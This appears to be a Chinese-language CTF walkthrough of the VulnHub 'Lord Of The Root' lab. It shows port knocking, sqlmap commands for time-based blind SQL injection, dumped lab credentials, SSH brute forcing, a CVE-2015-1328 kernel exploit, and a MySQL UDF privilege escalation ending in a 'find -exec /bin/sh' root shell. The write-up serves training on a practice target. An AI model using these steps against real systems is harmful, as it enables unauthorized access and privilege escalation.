VulnHub-Lord Of The Root_1.0.1-靶机渗透学习

靶机地址:https://www.vulnhub.com/entry/lord-of-the-root-101,129/
靶机难度:中等(CTF)
靶机描述:这是KoocSec为黑客练习准备的另一个Boot2Root挑战。他通过OSCP考试的启发准备了这一过程。它基于伟大的小说改制电影《指环王》的概念。
目标:得到root权限&找到flag.txt
作者:嗯嗯呐

一、信息采集

nmap扫描确定靶机IP地址
在这里插入图片描述

扫描靶机对外开放端口,开始信息采集
只扫描出22端口
在这里插入图片描述

连接22端口获得提示
knock ftiend to enter(敲门进入)
Easy as 1,2,3
在这里插入图片描述

应该是在提示port_knocking(端口试探)的概要。
端口试探的主要目的是防止攻击者通过对端口扫描的方式对主机进行攻击。
端口试探是一种通过尝试连接,从外部打开原先关闭端口的方法。一旦收到正确顺序的尝试连接,防火墙就会打开一些特定的端口允许尝试连接的主机访问。
根据上面提示,我们尝试连接顺序连接1,2,3端口
使用Knock命令 进行尝试连接端口
-i,–interface
指定要监听的接口。默认值为eth0。
-d,–daemon
成为守护程序。这通常是正常的类似服务器的操作所需要的。
-c,-config <文件>
指定配置文件的备用位置。默认值为/etc/knockd.conf。
-D,-调试
Ouput调试消息。
-l --lookup
查找日志条目的DNS名称。这可能会带来安全风险!请参阅“安全说明”部分。
-v,–verbose
输出详细状态消息。
-V,–version
显示版本。
-h,–help
语法帮助。

knock -v 192.168.16.137 1 2 3

在这里插入图片描述

再次端口扫描,发现1337端口
在这里插入图片描述

web访问1337端口
在这里插入图片描述

就一张图,没有什么有用的信息,源代码也没有
根据图中提示,访问MORDOR目录,存在一张图
在这里插入图片描述

查看源代码,发现一串加密的字符串
在这里插入图片描述

应该是base64编码
解码一下
在这里插入图片描述

再次解码
在这里插入图片描述

发现一个路径
/978345210/index.php
访问为一个登陆界面
在这里插入图片描述

二、SQL注入-基于时间的盲注

通过常用账号密码(admin等)或万能密码("or “a”="a等)尝试了一下
都报Username or Password is invalid错误
看来无法通过报错返回进行注入了
通过sqlmap测试登陆框是否存在sql注入
sqlmap -o -u ‘http://192.168.16.137:1337/978345210/index.php’ --forms
-o 默认开始所有优化项
–forms 自动提交表单
–dbs 查询全部数据库
– tables 查询数据库下的表
–columns 查询表中的字段
–dump 查询内容
通过字段表单提交方式,测试是否存在sql注入


```bash
sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms

![在这里插入图片描述](https://img-blog.csdnimg.cn/20201117153514305.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3NoZW55dV8xMTI2,size_16,color_FFFFFF,t_70#pic_center)


扫描结果:password 参数存在基于时间的盲注
查询数据库全部的库

```bash
sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms --dbs

在这里插入图片描述

扫描结果:存在4个数据库
查询Webapp库的全部表

sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms -D Webapp --tables

在这里插入图片描述

查询结果:存在Users表
查询Users表中存在的字段

sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms -D Webapp -T Users --columns

在这里插入图片描述

查询结果:存在三个字段
查询表中全部数据

sqlmap -o -u 'http://192.168.16.137:1337/978345210/index.php' --forms -D Webapp -T Users  --dump

在这里插入图片描述

查询结果:5个账号密码
frodo | iwilltakethering
smeagol | MyPreciousR00t
aragorn | AndMySword
legolas | AndMyBow
gimli | AndMyAxe
使用hydra 爆破一下ssh用户密码
在这里插入图片描述

获得用户密码
smeagol/MyPreciousR00t

三、提权

1、内核漏洞提权

查看现登陆账号的权限和靶机内核版本
在这里插入图片描述
在这里插入图片描述

版本为Linux 3.19.0 Ubuntu14.04.1,找到一个利用overlayfs组件提权的漏洞
CVE-2015-1328
在这里插入图片描述

使用searchsploit查询一下,msf中是否有可利用的payload,首先第二行payload利用失败,我使用的是我标记出的payload成功
在这里插入图片描述

复制到桌面,
在这里插入图片描述

在攻击机启动5555端口,提供下载服务
在这里插入图片描述

靶机将payload下载到本地
在这里插入图片描述

因为是c语言文件,需要编译为可执行文件,并赋执行权限

cc -o exp3 39166.c

在这里插入图片描述

执行编译好的文件,获得root用户,查看root目录下Flag

2、Mysql UDF提权
在上面使用sqlmap利用盲注,查询数据库表时,发现使用的是mysql数据库,
ps -ef | grep mysql
命令查询,发现mysql是root用户启动的程序
在这里插入图片描述

在/var/www/978345210目录下login.php文件中发现mysql的dba账号密码
在这里插入图片描述

登陆数据库,查看数据库版本号
在这里插入图片描述

看看可以不以使用UDF提权,因为mysql是root用户运行的,如果我们提权成功,将获得root权限

show global variables like 'secure%';
 当 secure_file_priv 的值为 NULL ,表示限制 mysqld 不允许导入|导出文件,此时无法提权
 当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出文件只能发生在 /tmp/ 目录下,此时也无法提权
 当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出文件做限制,此时可提权

在这里插入图片描述

查看主机版本及数据库架构,因数据库为i6886,要使用32位udf文件
在这里插入图片描述

查看plugin目录地址,此处为上传udf文件地址
在这里插入图片描述

可以在msf的/usr/share/metasploit-framework/data/exploits/mysql下,找到udf文件
在这里插入图片描述

将文件复制出来,因为是32位架构,所以使用lib_mysqludf_sys_32.so
在这里插入图片描述

攻击机启动5555端口,提供下载功能
在这里插入图片描述

靶机下载文件
在这里插入图片描述

连接数据库,进入一个库

在这里插入图片描述
在这里插入图片描述

创建一个表,用来存储udf文件内容
在这里插入图片描述

将udf文件插入到temp表中
在这里插入图片描述

在/usr/lib/mysql/plugin/目录下,新建一个udf32.so文件,将表中数据存入
在这里插入图片描述

将udf32.so文件导入数据库,定义一个函数名称sys_eval
在这里插入图片描述

使用sys_eval函数,执行linux命令
在这里插入图片描述

提权成功,给find命令赋予普通用户使用可以暂时获取root用户使用权限
在这里插入图片描述

通过find命令的 exec参数,获取root的shell

find 1.txt -exec '/bin/sh' \;

-exec,find命令对匹配的文件执行该参数所给出的shell命令。相应命令的形式为command {} ;,注意{ }和\之间的空格 。
{} : find找到的内容 。
; 是bash的特殊意义,就用反斜杠转义。
在这里插入图片描述

查看/root/目录下Flag.txt文件
在这里插入图片描述

完成!!!

四、总结

此次靶机主要考察端口探测、盲注、提权等技术,过程不复杂,思路也比较明确。此靶机存在很多渗透方法,上面只是一种,仅供参考。本文章渗透思路如下图:
在这里插入图片描述

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 4
    评论
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值